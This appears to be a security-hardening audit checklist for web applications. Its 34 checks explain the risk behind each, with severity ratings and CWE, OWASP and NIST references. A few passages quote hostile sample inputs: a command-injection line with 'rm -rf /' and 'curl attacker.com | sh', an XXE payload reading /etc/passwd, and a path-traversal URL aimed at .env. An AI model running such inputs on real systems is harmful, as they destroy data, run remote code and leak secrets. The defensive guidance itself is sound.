All 34 checks with why-it-matters prose, severity, and cross-references to related audits.
Storing passwords with MD5, SHA-1, or unkeyed SHA-256 is a critical failure under CWE-916 and OWASP A02 (Cryptographic Failures). These algorithms are designed for speed, not password storage: an attacker who exfiltrates your database can crack billions of candidates per second on commodity hardware. A single database breach becomes a full credential compromise across every account. NIST 800-53 IA-5(1) mandates password-based authenticator storage use salted, one-way, adaptive hashing. Bcrypt, argon2id, or scrypt are the only acceptable choices because their cost factors are tunable to keep brute-force prohibitively expensive even as hardware improves.
Why this severity: Critical because a plaintext or weakly-hashed password database converts a storage breach into an immediate account takeover for every user, with no time window to respond.
security-hardening.auth-session.password-hashingSee full patternSession tokens, password reset links, and email verification codes generated with `Math.random()` or `Date.now()` are predictable. CWE-338 (Use of Cryptographically Weak PRNG) and CWE-330 (Use of Insufficiently Random Values) describe how an attacker who knows the approximate generation time can enumerate the token space in seconds, enabling account takeover without ever knowing the victim's password. OWASP A02 (Cryptographic Failures) and NIST 800-53 SC-8 both require cryptographically secure randomness for security tokens. Six-digit numeric email codes have only one million possibilities — brute-forceable in under a minute against a rate-unlimited endpoint.
Why this severity: Critical because a predictable password-reset or session token lets an attacker take over any account without needing the user's credentials, bypassing authentication entirely.
security-hardening.auth-session.session-token-entropySee full patternHardcoded secrets in source files — JWT signing keys, Stripe secret keys, database passwords — are exposed to every developer with repository access, every CI system, every leaked ZIP or public GitHub push. CWE-798 (Hard-coded Credentials) and CWE-312 (Cleartext Storage of Sensitive Information) describe this as a critical class of vulnerability. OWASP A02 (Cryptographic Failures) and NIST 800-53 SC-28 require secrets at rest to be protected. Once a secret is in git history it is effectively public, even after deletion; the only remediation is rotation. A committed Stripe live key can drain accounts within minutes of a repo becoming public.
Why this severity: Critical because committed secrets give anyone with repository read access full control over production services, and git history preservation means the window for damage extends indefinitely.
security-hardening.auth-session.secrets-not-committedSee full patternCross-site request forgery (CWE-352) allows a malicious page to trigger authenticated state-changing requests in a victim's browser using their existing session cookie. Without CSRF protection, any site can silently transfer funds, change email addresses, or delete accounts on behalf of a logged-in user. OWASP A01 (Broken Access Control) ranks CSRF among the most exploited web vulnerabilities. NIST 800-53 SC-23 requires session authenticity protection. The attack requires no special privileges — a single malicious link is sufficient. Cookies with `SameSite=Lax` or `Strict` are the minimal defense; APIs accepting cookie-authenticated requests need explicit origin validation on top.
Why this severity: High because a successful CSRF attack lets any website perform authenticated actions as the victim without their knowledge, with no interaction beyond visiting a page.
security-hardening.auth-session.csrf-protectionSee full patternSessions that never expire or persist for 30 days violate CWE-613 (Insufficient Session Expiration) and OWASP A07 (Identification & Authentication Failures). A session stolen via XSS, network interception, or a shared computer remains valid indefinitely, giving attackers a permanent foothold. NIST 800-53 AC-12 requires session termination after inactivity. For applications touching financial data, health records, or admin functions, indefinite sessions convert a one-time credential theft into permanent account control. Even a 7-day JWT without refresh rotation means a stolen token is valid for a full week after discovery.
Why this severity: High because overly long-lived sessions convert temporary access — from a stolen device, XSS attack, or public terminal — into persistent unauthorized control over an account.
security-hardening.auth-session.session-timeoutSee full patternWithout account lockout, a login endpoint is open to unlimited credential stuffing — automated attacks that replay leaked username/password lists from other breaches. CWE-307 (Improper Restriction of Excessive Authentication Attempts) and OWASP A07 (Identification & Authentication Failures) specifically call this out. NIST 800-53 AC-7 mandates account lockout after a defined number of consecutive failures. Distributed attacks from thousands of IPs circumvent IP-level rate limiting; only per-account lockout stops an attacker who has a valid email list and a leaked credential database.
Why this severity: High because an unlocked login endpoint allows automated credential stuffing to compromise accounts at scale, limited only by the attacker's bandwidth.
security-hardening.auth-session.account-lockoutSee full patternAuthentication endpoints without rate limiting are open to brute-force and credential stuffing attacks at internet speed. CWE-799 (Improper Control of Interaction Frequency) and OWASP A07 (Identification & Authentication Failures) cover this class of vulnerability. NIST 800-53 AC-7 requires automated lockout mechanisms on authentication functions. Password-reset endpoints are particularly dangerous: an unrate-limited `/api/forgot-password` lets an attacker spam reset emails to exhaust users and potentially enumerate valid accounts. Unlike account-level lockout, IP-level rate limiting also stops automated registration abuse and prevents enumeration via timing attacks.
Why this severity: High because unprotected auth endpoints allow automated credential attacks at machine speed, with no throttle on how quickly an attacker can test millions of password candidates.
security-hardening.auth-session.auth-rate-limitingSee full patternJWT algorithm confusion is one of the most exploited vulnerabilities in token-based auth. CWE-347 (Improper Verification of Cryptographic Signature) and CWE-290 (Authentication Bypass by Spoofing) describe how accepting `alg: 'none'` or failing to whitelist algorithms lets an attacker forge arbitrary tokens without the signing key. OWASP A07 (Identification & Authentication Failures) and NIST 800-53 IA-8 require integrity verification of authentication tokens. An RS256 public key misused as an HS256 secret is a textbook attack that compromises every user account on the system. Missing audience validation allows tokens issued for one service to be replayed against another.
Why this severity: High because algorithm confusion or missing signature validation lets an attacker mint valid tokens for any user without ever obtaining the secret key.
security-hardening.auth-session.jwt-validationSee full patternSQL injection (CWE-89) is the canonical database attack and remains OWASP A03 (Injection) for good reason. String-concatenating user input into SQL queries lets attackers read or delete every table in the database, bypass authentication by injecting `OR 1=1`, and in some configurations execute OS commands. NIST 800-53 SI-10 requires input validation as a system security measure. A single unparameterized query in a public-facing endpoint is sufficient to exfiltrate an entire user table. ORM raw query methods like Prisma's `$queryRaw` with template literal interpolation carry exactly the same risk as hand-rolled string concatenation.
Why this severity: High because a single injectable query gives an attacker full read and often write access to the database, compromising every user's data in one request.
security-hardening.input-validation.sql-injectionSee full patternXSS (CWE-79, OWASP A03 Injection) lets attackers inject JavaScript into pages viewed by other users — stealing session cookies, capturing keystrokes, redirecting to phishing pages, or silently performing actions as the victim. Stored XSS, where the payload is saved in a database and rendered to every visitor, can compromise thousands of accounts from a single submission. NIST 800-53 SI-10 requires input sanitization. React's JSX auto-escaping prevents most XSS, but `dangerouslySetInnerHTML` with unsanitized database content bypasses the protection entirely. A comment field or profile bio rendered unsanitized is all an attacker needs.
Why this severity: High because stored XSS turns every page view into a potential account takeover — a single injected payload runs in every victim's browser session without further attacker interaction.
security-hardening.input-validation.xss-preventionSee full patternStoring SSNs, health records, or payment card data as plaintext in a database means a SQL injection, a misconfigured backup, or a rogue employee with SELECT privileges can access the raw values immediately. CWE-311 (Missing Encryption of Sensitive Data) and OWASP A02 (Cryptographic Failures) classify this as a high-severity failure. NIST 800-53 SC-28 mandates encryption of information at rest for sensitive categories. Infrastructure-level disk encryption (RDS encryption, full-disk) does not protect against application-layer attacks or insider queries — field-level AES-256-GCM encryption is the only control that survives a database dump.
Why this severity: High because plaintext sensitive fields are fully exposed to any party with database read access — a single SQL injection or insider query bypasses all other controls.
security-hardening.input-validation.encryption-at-restSee full patternServer-side request forgery (CWE-918, OWASP A10 Server-Side Request Forgery) lets attackers weaponize your application's outbound HTTP client to probe or attack internal services — cloud metadata endpoints (`169.254.169.254`), internal databases, and private admin APIs that are not exposed to the internet. Any endpoint that fetches a user-supplied URL without validation is an SSRF vector. NIST 800-53 SI-10 requires input validation on all externally supplied values. In cloud environments, SSRF against the EC2 metadata endpoint can yield IAM credentials, giving an attacker full AWS account access.
Why this severity: Medium because SSRF requires a specific feature (outbound URL fetch) but can escalate to full cloud credential theft via the metadata service on major platforms.
security-hardening.input-validation.ssrf-preventionSee full patternUnrestricted file uploads (CWE-434) allow attackers to upload executable scripts disguised as images, exhaust server storage with oversized files, or store malware for later retrieval. OWASP A04 (Insecure Design) specifically flags accepting files based solely on client-supplied Content-Type as a design flaw. NIST 800-53 SI-10 requires input validation including file content. A PHP file uploaded to a web-accessible directory and served by Apache becomes a remote code execution vector. Relying on the `Content-Type` header is trivially bypassed: any HTTP client can send `Content-Type: image/png` with an executable payload.
Why this severity: Medium because exploiting unrestricted upload requires a specific upload feature and storage configuration, but successful exploitation can achieve remote code execution or service disruption.
security-hardening.input-validation.file-upload-validationSee full patternXML External Entity injection (CWE-611, OWASP A05 Security Misconfiguration) enables attackers to read arbitrary files from the server filesystem, perform SSRF, and in some parsers execute server-side code — all via a crafted XML payload. NIST 800-53 SI-10 requires input validation. Any XML parser that processes DTDs and external entities by default is vulnerable to a trivially constructed payload: `<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`. This affects SAML authentication flows, SOAP integrations, SVG uploads, and any endpoint that parses XML from external sources.
Why this severity: Medium because XXE requires an XML-consuming endpoint, but when present it can read any file the process has access to, including private keys and environment files.
security-hardening.input-validation.xxe-preventionSee full patternOAuth without state parameter validation (CWE-352, CWE-601) is a CSRF attack on the OAuth flow itself. An attacker who tricks a victim into visiting a crafted URL can complete an OAuth authorization as the attacker, binding their identity to the victim's account — a classic account takeover vector. OWASP A01 (Broken Access Control) and NIST 800-53 IA-8 both require integrity checks on authentication callbacks. The `state` parameter is the mechanism: it must be a cryptographically random value generated by the application and stored server-side (not just echoed back) so the callback can verify the request originated from the expected user.
Why this severity: Medium because exploitation requires luring the victim to a crafted URL, but a successful attack results in account takeover by linking an attacker-controlled OAuth identity.
security-hardening.input-validation.oauth-state-validationSee full patternWithout MFA, a stolen or phished password is sufficient to compromise any account. CWE-308 (Use of Single-Factor Authentication) and OWASP A07 (Identification & Authentication Failures) both flag password-only auth as a systemic weakness. NIST 800-53 IA-2(1) mandates multi-factor authentication for privileged accounts and for any system handling sensitive data. Credential phishing is the most common initial access vector in reported breaches; MFA stops the majority of these attacks even after credentials are compromised. Admin accounts without MFA are an especially high-value target because a single compromise grants full application access.
Why this severity: Medium because MFA absence doesn't directly expose a vulnerability, but it means a stolen password alone — the most commonly leaked credential type — provides full account access.
security-hardening.input-validation.mfa-availableSee full patternCommand injection (CWE-78, OWASP A03 Injection) occurs when user-controlled data is passed to `exec()` or `execSync()` as part of a shell command string. The shell interprets semicolons, pipes, backticks, and subshell syntax — an attacker can append `; rm -rf /` or `; curl attacker.com | sh`. NIST 800-53 SI-10 requires input validation before shell execution. Image processors, PDF converters, and video transcoders are common vectors because they wrap command-line tools. The fix is categorical: use `spawn()` with an argument array (which bypasses the shell entirely) rather than `exec()` with a string.
Why this severity: Medium because command injection requires a shell execution feature and typically an upload or conversion endpoint, but exploitation achieves arbitrary OS command execution on the server.
security-hardening.input-validation.command-injectionSee full patternClient-side validation is a UX feature, not a security control — any attacker can submit arbitrary payloads directly to your API bypassing browser validation entirely. CWE-20 (Improper Input Validation) and OWASP A03 (Injection) both trace back to trusting unvalidated input on the server. NIST 800-53 SI-10 requires server-side input validation on all information system boundaries. Unvalidated inputs enable SQL injection, prototype pollution, type coercion bugs, and business logic bypasses. A `quantity: -1` or `role: 'admin'` in a JSON body should never reach your business logic.
Why this severity: Medium because missing server-side validation enables a wide class of injection and business logic attacks that client-side checks cannot block.
security-hardening.input-validation.server-side-validationSee full patternTransmitting authentication tokens, session cookies, and personal data over cleartext HTTP exposes every byte to network-level interception — on public Wi-Fi, by ISPs, or via any on-path attacker. CWE-319 (Cleartext Transmission of Sensitive Information) and OWASP A02 (Cryptographic Failures) both flag this. NIST 800-53 SC-8 requires transmission confidentiality and integrity. Disabling certificate validation (`rejectUnauthorized: false`) is equally dangerous — it defeats TLS entirely, making the connection vulnerable to any man-in-the-middle. Modern hosting platforms (Vercel, Netlify) enforce TLS at the edge, but custom or self-hosted setups must be explicitly configured.
Why this severity: High because a failing check means credentials, session cookies, and personal data are transmitted in cleartext — directly exploitable by any on-path observer, aligned with CWE-319 and OWASP A02 severity.
security-hardening.secrets-config.tls-in-transitSee full patternKnown vulnerabilities in dependencies are one of the most reliable attack paths for automated exploitation. CWE-1357 (Reliance on Insufficiently Trustworthy Component) and OWASP A06 (Vulnerable and Outdated Components) document that unpatched CVEs are commonly exploited within days of public disclosure. NIST 800-53 SA-10 and SSDF PW.4 both require regular assessment of component security. Projects without automated scanning may not discover a critical CVE in a transitive dependency until a breach occurs. Dependabot or `npm audit` in CI catches these before they ship to production.
Why this severity: Low because vulnerability scanning prevents exploitation of known CVEs — the risk is low only when scanning runs continuously; without it, the effective severity of any undetected CVE is unbounded.
security-hardening.secrets-config.dependency-vuln-scanningSee full patternHardcoded environment-specific values — production database URLs, service endpoints, feature flag literals — mean configuration changes require code changes and redeployments, increasing the chance of accidental environment cross-contamination. CWE-15 (External Control of System or Configuration Setting) and OWASP A05 (Security Misconfiguration) both flag this pattern. NIST 800-53 CM-6 requires configuration management to separate configuration from code. A developer testing against a staging endpoint that is hardcoded in the file may accidentally push a commit that hits production services in a different environment.
Why this severity: Low because hardcoded config values are primarily an operational risk — they create deployment fragility and increase the chance of accidental production access from non-production code.
security-hardening.secrets-config.config-separationSee full patternA CORS misconfiguration that combines `Access-Control-Allow-Origin: *` with `Access-Control-Allow-Credentials: true` allows any website to make authenticated cross-origin API calls using the visitor's session cookies — a variant of CSRF. CWE-942 (Permissive Cross-domain Policy) and OWASP A05 (Security Misconfiguration) cover this. NIST 800-53 SC-7 requires boundary protection. Substring origin validation (e.g., `origin.includes('yoursite.com')`) is trivially bypassed with a domain like `evil-yoursite.com`. The wildcard origin tells browsers to skip the same-origin check entirely, making your API accessible to any script on the internet.
Why this severity: Low because CORS misconfiguration requires an attacker to exploit it from a browser context, but wildcard-plus-credentials is a direct bypass of the browser's same-origin protection.
security-hardening.secrets-config.cors-restrictiveSee full patternPath traversal (CWE-22, OWASP A01 Broken Access Control) uses `../` sequences to escape an intended directory, allowing an attacker to read files like `/etc/passwd`, `process.env`, or private keys from arbitrary locations on the filesystem. NIST 800-53 SI-10 requires input sanitization before filesystem operations. Any endpoint that accepts a filename parameter — downloads, file preview, static serving — is a potential traversal vector if the path is not normalized and boundary-checked. A URL like `/api/download?file=../../.env` against a naive `path.join` implementation returns the application's secrets.
Why this severity: Low because path traversal requires a file-serving endpoint with user-controlled path input, but exploitation yields direct filesystem read access to arbitrary files.
security-hardening.secrets-config.path-traversalSee full patternUnsafe deserialization (CWE-502, OWASP A08 Software and Data Integrity Failures) enables remote code execution when attacker-controlled serialized objects are reconstructed by a library that executes code during deserialization. The `node-serialize` library is the canonical Node.js example: it evaluates immediately-invoked function expressions (IIFEs) embedded in the serialized payload. NIST 800-53 SI-10 requires validation of all input before processing. Unlike JSON.parse (which only creates primitive values and plain objects), unsafe deserialization libraries can reconstruct class instances, triggering constructor side effects defined by the attacker.
Why this severity: Low because exploiting unsafe deserialization requires a specific vulnerable library to be used on attacker-controlled input, but successful exploitation achieves arbitrary code execution.
security-hardening.secrets-config.deserializationSee full patternWithout a committed lock file, dependency resolution is non-deterministic — `npm install` on different machines or at different times may pull different transitive dependency versions. CWE-1357 (Reliance on Insufficiently Trustworthy Component) and OWASP A06 (Vulnerable and Outdated Components) both flag unpinned dependencies. SLSA L2 and SSDF PW.4 require reproducible builds with verified dependency integrity. A supply-chain attack can introduce a malicious version of a widely-used package; without a lock file, your CI might silently install the compromised version the day it is published.
Why this severity: Low because unlocked dependencies primarily create supply-chain risk during installation rather than runtime, but they open a window for silent malicious version substitution on every install.
security-hardening.dependency-security.lock-filesSee full patternKnown CVEs in dependencies are the lowest-effort attack path for automated exploitation frameworks like Metasploit. CWE-1104 (Use of Unmaintained Third-Party Components) and OWASP A06 (Vulnerable and Outdated Components) document that most exploited CVEs have patches available — the delay between patch release and application is the attackers' window. NIST 800-53 SI-2 requires timely remediation of vulnerabilities. A high-severity CVE in `express`, `next`, or `jsonwebtoken` can affect every request and is actively targeted by scanners within hours of public disclosure.
Why this severity: Low because patching is straightforward once a CVE is known, but the risk scales directly with how long unpatched high/critical CVEs remain in production.
security-hardening.dependency-security.patch-timelinessSee full patternThird-party scripts loaded from CDNs without Subresource Integrity (SRI) hashes execute in your users' browsers with full page access — if the CDN is compromised or the script URL is hijacked, attackers can inject arbitrary JavaScript. CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) and OWASP A08 (Software and Data Integrity Failures) both flag this. NIST 800-53 SA-9 requires controls on external services. A CDN supply chain attack targeting jQuery, Bootstrap, or Font Awesome affects every user of every site loading that URL — SRI hashes prevent the browser from executing a tampered file.
Why this severity: Low because SRI failure only matters when the CDN is actively compromised, but when that occurs, every site loading the resource is immediately affected.
security-hardening.dependency-security.sri-hashesSee full patternApplications running with database superuser or admin credentials mean any SQL injection, code execution, or insider query can drop tables, read all data, or modify any row without restriction. CWE-272 (Least Privilege Violation) and OWASP A01 (Broken Access Control) cover this. NIST 800-53 AC-6 mandates least-privilege for all system accounts. A `postgres` root connection string in `DATABASE_URL` means a single RCE or injection turns into a full database wipe. API keys scoped to all operations mean one leaked key — from logs, from a debug endpoint, from a shoulder-surf — gives an attacker full service access.
Why this severity: Low because least-privilege violations don't introduce a vulnerability themselves, but they dramatically amplify the blast radius when any other control fails.
security-hardening.dependency-security.least-privilegeSee full patternDevelopment conveniences left enabled in production — debug modes, verbose stack traces in error responses, wildcard CORS, authentication bypasses — are a class of security misconfiguration documented by CWE-1188 (Insecure Default Initialization) and OWASP A05 (Security Misconfiguration). NIST 800-53 CM-6 requires baseline configurations to be documented and enforced. A `/api/debug/users` route that bypasses auth and returns all user records, or a `productionBrowserSourceMaps: true` setting that ships full TypeScript source to browsers, represents a failure mode that is easy to introduce during development and easy to forget to remove.
Why this severity: Low because insecure defaults don't directly expose data, but they reduce the attacker's effort — verbose errors disclose internals, and disabled auth checks provide direct access.
security-hardening.dependency-security.secure-defaultsSee full patternWithout an SBOM, you cannot answer the question 'are we affected?' when a new CVE is announced for a transitive dependency. OWASP A08 (Software and Data Integrity Failures) and NIST 800-53 SA-10 require that organizations track and control the software components they use. SLSA L1 requires provenance; CycloneDX SBOM is the standard artifact format. License violations in transitive dependencies — a GPL-licensed package pulled in silently — can also create legal liability that only SBOM review surfaces. Projects with 45+ direct npm dependencies commonly have 500+ transitive dependencies with no systematic review.
Why this severity: Info because SBOM absence is a process gap rather than an immediate technical vulnerability, but it means CVE exposure and license risks in transitive dependencies go undetected.
security-hardening.infra-monitoring.sbom-reviewedSee full patternWithout audit logs for authentication events, you cannot detect an ongoing attack, reconstruct a breach timeline, or satisfy incident response obligations. CWE-778 (Insufficient Logging) and OWASP A09 (Security Logging and Monitoring Failures) document that undetected breaches are the norm, not the exception, for applications with no auth logging. NIST 800-53 AU-2 requires auditable events to include logon attempts, account changes, and authorization failures. A password reset initiated by an attacker, account lockouts triggered by credential stuffing, or privilege escalation — none of these are visible without structured, persistent auth event logging.
Why this severity: Info because missing auth logs don't cause a breach, but they guarantee that any breach — in progress or completed — goes undetected and unrecoverable.
security-hardening.infra-monitoring.security-loggingSee full patternError handlers that serialize `console.error(err, req)` or `JSON.stringify(error)` inadvertently capture `Authorization` headers, database connection strings from caught exceptions, and environment variable snapshots. CWE-532 (Insertion of Sensitive Information into Log File) and OWASP A09 (Security Logging and Monitoring Failures) cover this. NIST 800-53 AU-3 requires log content to not expose sensitive data. Logs shipped to a third-party service (Datadog, Logtail, Axiom) mean those credentials are now in an external system with its own access controls, multiplying the exposure surface. A single `console.error(process.env)` in an error handler is a complete secrets exfiltration.
Why this severity: Info because secret leakage into logs requires the logs to be accessed by an attacker, but log storage is often less tightly controlled than environment variable management.
security-hardening.infra-monitoring.secrets-not-in-logsSee full patternA `.gitignore` that does not exclude `.env` files is a latent trap: any developer who creates `.env.production` or `.env.local` and runs `git add .` will commit production secrets to version control. CWE-312 (Cleartext Storage of Sensitive Information) and CWE-798 (Hard-coded Credentials) both apply — the git object database stores secrets permanently, surviving `git rm`. OWASP A02 (Cryptographic Failures) and NIST 800-53 SC-28 require protecting credentials at rest. A public repository with an accidentally committed `.env` file exposes database passwords, API keys, and signing secrets to the entire internet.
Why this severity: Info because this check is a configuration safeguard — the actual risk materializes only if a `.env` file is subsequently committed, but the missing gitignore makes that accident inevitable.
security-hardening.infra-monitoring.env-in-gitignoreSee full patternShipping without a threat model means trust boundaries, sensitive data flows, and high-risk attack vectors have never been explicitly identified. NIST 800-53 RA-3 requires threat risk assessment as a foundational security activity; PL-2 requires security plans that address identified threats. ISO 27001:2022 A.5.8 requires information security to be integrated into architecture. Without documented threat analysis, developers don't know which components are high-risk, testers don't know what to probe, and incident responders don't know what could have been compromised. This is especially acute for AI-generated codebases where the developer may not have consciously designed the security architecture.
Why this severity: Info because threat modeling absence is a process gap, not an immediate vulnerability — but it means all other security controls were implemented without a map of what they are protecting against.
security-hardening.infra-monitoring.threat-modelingSee full patternRun this audit in your AI coding tool (Claude Code, Cursor, Bolt, etc.) and submit results here for scoring and benchmarks.
Open Security Hardening Audit